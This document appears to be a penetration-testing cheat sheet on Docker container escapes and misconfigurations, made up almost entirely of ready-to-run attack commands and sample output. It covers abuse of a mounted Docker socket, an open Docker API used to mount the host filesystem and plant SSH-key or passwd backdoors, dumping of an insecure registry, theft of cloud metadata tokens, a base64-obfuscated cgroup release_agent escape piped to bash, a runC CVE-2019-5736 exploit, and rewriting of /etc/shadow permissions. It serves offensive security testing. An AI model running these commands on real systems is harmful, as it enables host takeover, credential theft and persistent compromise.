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Container - Docker Pentest.md

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Docker Pentest

Docker is a set of platform as a service (PaaS) products that uses OS-level virtualization to deliver software in packages called containers.

Summary

Tools

Mounted Docker Socket

Prerequisite:

  • Socker mounted as volume : - "/var/run/docker.sock:/var/run/docker.sock"

Usually found in /var/run/docker.sock, for example for Portainer.

curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json
curl -XPOST –unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create
curl -XPOST –unix-socket /var/run/docker.sock http://localhost/containers/ID_FROM_PREVIOUS_COMMAND/start

Exploit using brompwnie/ed

root@37bb034797d1:/tmp# ./ed_linux_amd64 -path=/var/run/ -autopwn=true        
[+] Hunt dem Socks
[+] Hunting Down UNIX Domain Sockets from: /var/run/
[*] Valid Socket: /var/run/docker.sock
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to Autopwn:  /var/run/docker.sock
[*] Getting Docker client...
[*] Successfully got Docker client...
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
chroot /host && clear
echo 'You are now on the underlying host'
chroot /host && clear
echo 'You are now on the underlying host'
/ # chroot /host && clear
/ # echo 'You are now on the underlying host'
You are now on the underlying host
/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Open Docker API Port

Prerequisite:

  • Docker runned with -H tcp://0.0.0.0:XXXX
$ nmap -sCV 10.10.10.10 -p 2376
2376/tcp open  docker  Docker 19.03.5
| docker-version:
|   Version: 19.03.5
|   MinAPIVersion: 1.12

Mount the current system inside a new "temporary" Ubuntu container, you will gain root access to the filesystem in /mnt.

$ export DOCKER_HOST=tcp://10.10.10.10:2376
$ docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0  -t ubuntu bash
or
$ docker -H  open.docker.socket:2375 ps
$ docker -H  open.docker.socket:2375 exec -it mysql /bin/bash
or 
$ curl -s –insecure https://tls-opendocker.socket:2376/secrets | jq
$ curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'

From there you can backdoor the filesystem by adding an ssh key in /root/.ssh or adding a new root user in /etc/passwd.

Insecure Docker Registry

Docker Registry’s fingerprint is Docker-Distribution-Api-Version header. Then connect to Registry API endpoint: /v2/_catalog.

curl https://registry.example.com/v2/<image_name>/tags/list
docker pull https://registry.example.com:443/<image_name>:<tag>

# connect to the endpoint and list image blobs
curl -s -k --user "admin:admin" https://docker.registry.local/v2/_catalog
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/tags/list
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/manifests/latest
# download blobs
curl -s -k --user 'admin:admin' 'http://docker.registry.local/v2/wordpress-image/blobs/sha256:c314c5effb61c9e9c534c81a6970590ef4697b8439ec6bb4ab277833f7315058' > out.tar.gz
# automated download
https://github.com/NotSoSecure/docker_fetch/
python /opt/docker_fetch/docker_image_fetch.py -u http://admin:admin@docker.registry.local

Access a private registry and start a container with one of its image

docker login -u admin -p admin docker.registry.local
docker pull docker.registry.local/wordpress-image
docker run -it docker.registry.local/wordpress-image /bin/bash

Access a private registry using OAuth Token from Google

curl http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/email
curl -s http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token 
docker login -e <email> -u oauth2accesstoken -p "<access token>" https://gcr.io

Exploit privileged container abusing the Linux cgroup v1

Prerequisite (at least one):

  • --privileged
  • --security-opt apparmor=unconfined --cap-add=SYS_ADMIN flags.
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash -c 'echo "cm5kX2Rpcj0kKGRhdGUgKyVzIHwgbWQ1c3VtIHwgaGVhZCAtYyAxMCkKbWtkaXIgL3RtcC9jZ3JwICYmIG1vdW50IC10IGNncm91cCAtbyByZG1hIGNncm91cCAvdG1wL2NncnAgJiYgbWtkaXIgL3RtcC9jZ3JwLyR7cm5kX2Rpcn0KZWNobyAxID4gL3RtcC9jZ3JwLyR7cm5kX2Rpcn0vbm90aWZ5X29uX3JlbGVhc2UKaG9zdF9wYXRoPWBzZWQgLW4gJ3MvLipccGVyZGlyPVwoW14sXSpcKS4qL1wxL3AnIC9ldGMvbXRhYmAKZWNobyAiJGhvc3RfcGF0aC9jbWQiID4gL3RtcC9jZ3JwL3JlbGVhc2VfYWdlbnQKY2F0ID4gL2NtZCA8PCBfRU5ECiMhL2Jpbi9zaApjYXQgPiAvcnVubWUuc2ggPDwgRU9GCnNsZWVwIDMwIApFT0YKc2ggL3J1bm1lLnNoICYKc2xlZXAgNQppZmNvbmZpZyBldGgwID4gIiR7aG9zdF9wYXRofS9vdXRwdXQiCmhvc3RuYW1lID4+ICIke2hvc3RfcGF0aH0vb3V0cHV0IgppZCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKcHMgYXh1IHwgZ3JlcCBydW5tZS5zaCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKX0VORAoKIyMgTm93IHdlIHRyaWNrIHRoZSBkb2NrZXIgZGFlbW9uIHRvIGV4ZWN1dGUgdGhlIHNjcmlwdC4KY2htb2QgYSt4IC9jbWQKc2ggLWMgImVjaG8gXCRcJCA+IC90bXAvY2dycC8ke3JuZF9kaXJ9L2Nncm91cC5wcm9jcyIKIyMgV2FpaWlpaXQgZm9yIGl0Li4uCnNsZWVwIDYKY2F0IC9vdXRwdXQKZWNobyAi4oCiPygowq/CsMK3Ll8u4oCiIHByb2ZpdCEg4oCiLl8uwrfCsMKvKSnYn+KAoiIK" | base64 -d | bash -'

Exploit breakdown :

# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
 
# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
 
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
 
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
 
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Breaking out of Docker via runC

The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command ... as root within a container in either of these contexts: Creating a new container using an attacker-controlled image. Attaching (docker exec) into an existing container which the attacker had previous write access to. - Vulnerability overview by the runC team

Exploit for CVE-2019-5736 : https://github.com/twistlock/RunC-CVE-2019-5736

$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC

Breaking out of containers using a device file

https://github.com/FSecureLABS/fdpasser
In container, as root: ./fdpasser recv /moo /etc/shadow
Outside container, as UID 1000: ./fdpasser send /proc/$(pgrep -f "sleep 1337")/root/moo
Outside container: ls -la /etc/shadow
Output: -rwsrwsrwx 1 root shadow 1209 Oct 10  2019 /etc/shadow

References